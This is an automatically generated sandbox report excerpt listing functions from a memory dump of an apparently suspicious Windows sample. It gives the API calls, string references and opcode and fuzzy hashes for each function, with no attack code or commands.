Opcode ID: c99e37cb7e904fed209133f9afeb16b2be82bc93d159724730ecff0542bc803e
Instruction ID: 246de685a262de97d1ec590f47ecf7cf7b2b02b01b983fc068f4bf326badfc7a
Opcode Fuzzy Hash: c99e37cb7e904fed209133f9afeb16b2be82bc93d159724730ecff0542bc803e
Instruction Fuzzy Hash: DAF0963490030DBFCF0BBAB8EC46D9E776C5E00750B604121B9149A5F2EB74EE96C5C1

Function 003CE59A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 003CE59E

Strings

X64, xrefs: 003CE626
%.3d, xrefs: 003CE5A9

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 123be4e4b1c940b5d91d9ca17fe4e9ccfbf644342157ce4fb4fd8b97be36d488
Instruction ID: 4138e2a93b9c19c12ac4716bdbca9318f5b88b0b6cdeeceb6237a0320cdd73a9
Opcode Fuzzy Hash: 123be4e4b1c940b5d91d9ca17fe4e9ccfbf644342157ce4fb4fd8b97be36d488
Instruction Fuzzy Hash: 95D012A1C14118D9CB92AAD08D48EBDB37CA71C300F2044AAF806E2400EA34D958A721

Function 003F88B6 Relevance: 4.9, APIs: 3, Instructions: 430COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 003F8C52
TerminateProcess.KERNEL32(00000000), ref: 003F8C59
FreeLibrary.KERNEL32(?,?,?,?), ref: 003F8E3A

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Process$CurrentFreeLibraryTerminate
String ID:
API String ID: 146820519-0
Opcode ID: e25af36b492786213ec58893f64bcd173eb4668d8510225ae058bf7cf315f61f
Instruction ID: 5881a6a7606a9ac2617231cb9073ed94cd369b65cf0487a536992e4b0399c7a9
Opcode Fuzzy Hash: e25af36b492786213ec58893f64bcd173eb4668d8510225ae058bf7cf315f61f
Instruction Fuzzy Hash: 4A127B71A083449FC725DF28C484B6ABBE5FF88314F15895DE9898B392CB34ED45CB92

Function 00376BFA Relevance: 4.6, APIs: 3, Instructions: 103COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000001,?,00000000), ref: 00376CA1
SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001), ref: 00376CB1

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 753cc5166d9c94bb0b6564b3fdcd0794d6a0d38e88e91062f1c38b864b44e242
Instruction ID: 3a00553f5c314f3621d4dd8826c90237f42c7d747f6569fcc8ff72416e04757b
Opcode Fuzzy Hash: 753cc5166d9c94bb0b6564b3fdcd0794d6a0d38e88e91062f1c38b864b44e242
Instruction Fuzzy Hash: 3A31AD71A00A0AFFDB26CF68C981B99B7B4FB04714F15C229E919A7640C775FE94CB90

Function 0038FCBB Relevance: 4.6, APIs: 3, Instructions: 75timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00375F59: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00376049

KillTimer.USER32(?,00000001,?,?), ref: 0038FD44
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0038FD53
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 003CFDD3

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: a32c7b466a1b2953548ab037d6d998db0cf3fc19c885a009bd01cea3ab52b32e
Instruction ID: e307ea824c5fc1253e54e22edb18a8be88bc1786ef69f7c7f38c2c6ba0db2c9c
Opcode Fuzzy Hash: a32c7b466a1b2953548ab037d6d998db0cf3fc19c885a009bd01cea3ab52b32e
Instruction Fuzzy Hash: 0931C575904744AFEB33CF348849BE6BBED9B16304F0004AEE6DA97245C7745E88CB55

Function 003A8A3E Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,003A895C,?,00439CE8,0000000C), ref: 003A8A94
GetLastError.KERNEL32(?,003A895C,?,00439CE8,0000000C), ref: 003A8A9E
__dosmaperr.LIBCMT ref: 003A8AC9

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 2ea618b66744e294fbd8e8a054362af12a5e5090412e260b097218b7514501ca
Instruction ID: 9344ffde7d9b122e52e05f4d0b99ff635fb3364a0516e1a07c999f2fd6e5aaeb
Opcode Fuzzy Hash: 2ea618b66744e294fbd8e8a054362af12a5e5090412e260b097218b7514501ca
Instruction Fuzzy Hash: 4C018E33A052604AE72727746C85B7E6749CB83734F2B062BF808EF0D2DE718CC58290

Function 003A971B Relevance: 4.6, APIs: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,1875FF1C,1875FF1C,?,003A97CA,FF8BC369,00000000,00000002,00000000), ref: 003A9754
GetLastError.KERNEL32(?,003A97CA,FF8BC369,00000000,00000002,00000000,?,003A5EF1,00000000,00000000,00000000,00000002,00000000,FF8BC369,00000000,00396F61), ref: 003A975E
__dosmaperr.LIBCMT ref: 003A9765

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: 227861b3f8aa36ab1d989135ef5f53be5bdd69743eddee521aac9c2300ecc853
Instruction ID: 077c1382dec946b513d19c8f525d72ded6481769a4e7fae811c3bd5dacd1980c
Opcode Fuzzy Hash: 227861b3f8aa36ab1d989135ef5f53be5bdd69743eddee521aac9c2300ecc853
Instruction Fuzzy Hash: F5014C32A20214AFCF069F99DC45D6E3B2EDB86330B24021AF811EB190EA72DD41C7A0

Function 00382AD0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00382FB6

Strings

CALL, xrefs: 00382F86

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 1d3c3c01ec5e67f3c853053c5340adb272670915e9de1b9e8821b8a2a20c7296
Instruction ID: a79183aa5af918bfd4335acd94916763ab0a73ecf5616914cbaf1b4827461c46
Opcode Fuzzy Hash: 1d3c3c01ec5e67f3c853053c5340adb272670915e9de1b9e8821b8a2a20c7296
Instruction Fuzzy Hash: FF2279706083419FC726EF24C484B2ABBF5AF85314F25899DF8968B3A2D771ED45CB42

Function 00381940 Relevance: 3.6, APIs: 2, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d120b001e65988a535b6dbc201a5a222a61d7bbf22c30f42099f42afe59e9277
Instruction ID: 1dbdefff469b9695613bb9e04edbb81d8b7168356a117de6173a5a4b0cc98028
Opcode Fuzzy Hash: d120b001e65988a535b6dbc201a5a222a61d7bbf22c30f42099f42afe59e9277
Instruction Fuzzy Hash: 5532CE70A00205DFDB26EF64C882FAEB7B8EF05310F158599F856EB2A1D731AD45CB91

Function 003741E6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,003733E9,00442418,?,?,?,?,?,?,?,003732EF,?), ref: 00374227

Part of subcall function 003784B7: _wcslen.LIBCMT ref: 003784CA

Strings

$D, xrefs: 00374241

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FullNamePath_wcslen
String ID: $D
API String ID: 4019309064-1684598963
Opcode ID: 0047073f61291a044e6798f1ad39a07b141d7c26652b513821ddf4a23bbe4d64
Instruction ID: 840ffc7793f40803ab800e57148a26ca556aa2a6605546e2c1d95ff0c0ddcabf
Opcode Fuzzy Hash: 0047073f61291a044e6798f1ad39a07b141d7c26652b513821ddf4a23bbe4d64
Instruction Fuzzy Hash: 6911A53160020897DB62EBA89905EDD77FCAF09354B018466F948DB192DFB8E7849B15

Function 003CE6E1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,?), ref: 003CE6F3

Strings

X64, xrefs: 003CE626

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ComputerName
String ID: X64
API String ID: 3545744682-893830106
Opcode ID: f9d68bfa337d5a54b69ebcc2301bdc5ff0645c12ab541ffec5bac7e64a345e0d
Instruction ID: 12072dabec867e7b8a8817c54a66da0fed4c9e205d6ef675ee1c8d818312b627
Opcode Fuzzy Hash: f9d68bfa337d5a54b69ebcc2301bdc5ff0645c12ab541ffec5bac7e64a345e0d
Instruction Fuzzy Hash: AFD0C9B4815218EACB92DF80DC88EDD777CBB14300F2004A9F446E2400DB3469489B10

Function 003E95F6 Relevance: 3.1, APIs: 2, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 0037557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00375558,?,?,003B4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0037559E

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 003E9665
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 003E9673

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: PrivateProfileStringWrite$FullNamePath
String ID:
API String ID: 3876400906-0
Opcode ID: b57e4b73f4fc5a8856f6529e05028989b318644dc176fd8beb869179ac68e5e5
Instruction ID: eeec92f46f7ef3e9c0fc5fe9e2c905d8a8a224c9d21087808d10c2b8a12db87d
Opcode Fuzzy Hash: b57e4b73f4fc5a8856f6529e05028989b318644dc176fd8beb869179ac68e5e5
Instruction Fuzzy Hash: 6F1149396006259FCB22EF64C844D6EB7B5FF48320B058848E85AAB761CB34FC01CB90

Function 00376E52 Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,00373B33,?,00008000), ref: 00376E80
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,?,?,00373B33,?,00008000), ref: 003B59A2

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fd76b837149b404883c51a71927240d395863e152ce070256aa88410c8dbf3d6
Instruction ID: 17975ed028bbdaece659f85a9c0d1f22cc7d7831a8451a017b6e4f0ec7c866d6
Opcode Fuzzy Hash: fd76b837149b404883c51a71927240d395863e152ce070256aa88410c8dbf3d6
Instruction Fuzzy Hash: 6D016D31145621B6E3310A66CD0EF977F98AF027B4F11C210BA9D6A1E08BB45854DB90

Function 003732A2 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 003732C4

Part of subcall function 0037326D: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00373282
Part of subcall function 0037326D: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00373299

Part of subcall function 00373312: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,003732EF,?), ref: 00373342
Part of subcall function 00373312: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,003732EF,?), ref: 00373355
Part of subcall function 00373312: GetFullPathNameW.KERNEL32(00007FFF,?,?,00442418,00442400,?,?,?,?,?,?,003732EF,?), ref: 003733C1
Part of subcall function 00373312: SetCurrentDirectoryW.KERNELBASE(?,00000001,00442418,?,?,?,?,?,?,?,003732EF,?), ref: 00373442

SystemParametersInfoW.USER32(00002001,00000000,00000002,?), ref: 003732FE

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme
String ID:
API String ID: 1550534281-0
Opcode ID: 031901594b822cc498f6d7ecf0b51bc543597b895630bde221723d8bd7cd8a11
Instruction ID: b88fa5fc428695b839b901bab4a219d75ef9af7c41f544efdc8d9eca141f6da8
Opcode Fuzzy Hash: 031901594b822cc498f6d7ecf0b51bc543597b895630bde221723d8bd7cd8a11
Instruction Fuzzy Hash: F0F0E93A544344AFE7126F70FE0AB643BF0AB01705F908825F90C894E3CBFD84909B08

Function 0038F95E Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0038F97A
Sleep.KERNEL32(00000000), ref: 003CFAC2

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: bce833eccc7e22b638cd26f40bd0e8e85901f5b9a13f92d54e07f677654024f5
Instruction ID: 95c8c31d42d912a5d33d6772707ef4568db0d9a1538dc063e12e4aebd691fb0b
Opcode Fuzzy Hash: bce833eccc7e22b638cd26f40bd0e8e85901f5b9a13f92d54e07f677654024f5
Instruction Fuzzy Hash: 6AF08C722406059FC360EBA9D509F5AB7E9FF49360F00846EE85ECB260DB70A800CB95

Function 00378774 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,00000002,00000001,?,?,?,0037AE65,?,?,?), ref: 00378793
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,?,?,?,0037AE65,?,?,?), ref: 003787C9

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 5e53de0214d9067124265b495e95d0c0ccee9fd8d0cef423216739b24d89669a
Instruction ID: f20e43d9b8067fa1247832cf10c15c0a02c83bc74138de7cb224d869bc33f149
Opcode Fuzzy Hash: 5e53de0214d9067124265b495e95d0c0ccee9fd8d0cef423216739b24d89669a
Instruction Fuzzy Hash: 0B0184713411057FEB2E6B699D4BF7F7AADDF85750F14403EB506DE190ED609C009524

Function 0039F126 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77bbe4f722227cbce17a164e917656fe9705529664e81ba19455d6f200ded61b
Instruction ID: 8f603a99dfd18bff7fe5e2005771797a5d1c4ae7c317ef16677b7bd2235dcc7f
Opcode Fuzzy Hash: 77bbe4f722227cbce17a164e917656fe9705529664e81ba19455d6f200ded61b
Instruction Fuzzy Hash: EC519879A00204AFDF12DF58C841B697BB5EB86364F1A8578E858DF391C771ED42CB90

Function 003DFBCA Relevance: 1.6, APIs: 1, Instructions: 136COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 003DFBE3

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: BuffCharLower
String ID:
API String ID: 2358735015-0
Opcode ID: 7d14c30395ae0310bc29ce3ab2295d34cb5f47a6facfede9adb47060cdae6735
Instruction ID: 2a210f58e41bf13d4d2442f8ac3352230c0cc3e9164c4319b8f3a01e157a8cdc
Opcode Fuzzy Hash: 7d14c30395ae0310bc29ce3ab2295d34cb5f47a6facfede9adb47060cdae6735
Instruction Fuzzy Hash: 8541A5B7500209AFCB26EF64D8819AEB7B9EF44314B11853FE9179B251EB70DE44CB50

Function 00390000 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 003900AF

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: a0dc4ba49f99a06ab1d31dd1899a480250dd06a0c7cbd913f4d5e337f0bee32c
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 6531D370A00106DFDB1ADF59C480A69F7A6FB59300B6586A5E40ACB756E732EDC1CBD0

Function 003E8E39 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0037557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00375558,?,?,003B4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0037559E

GetPrivateProfileStringW.KERNEL32(?,?,?,?,0000FFFF,?), ref: 003E8EBE

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
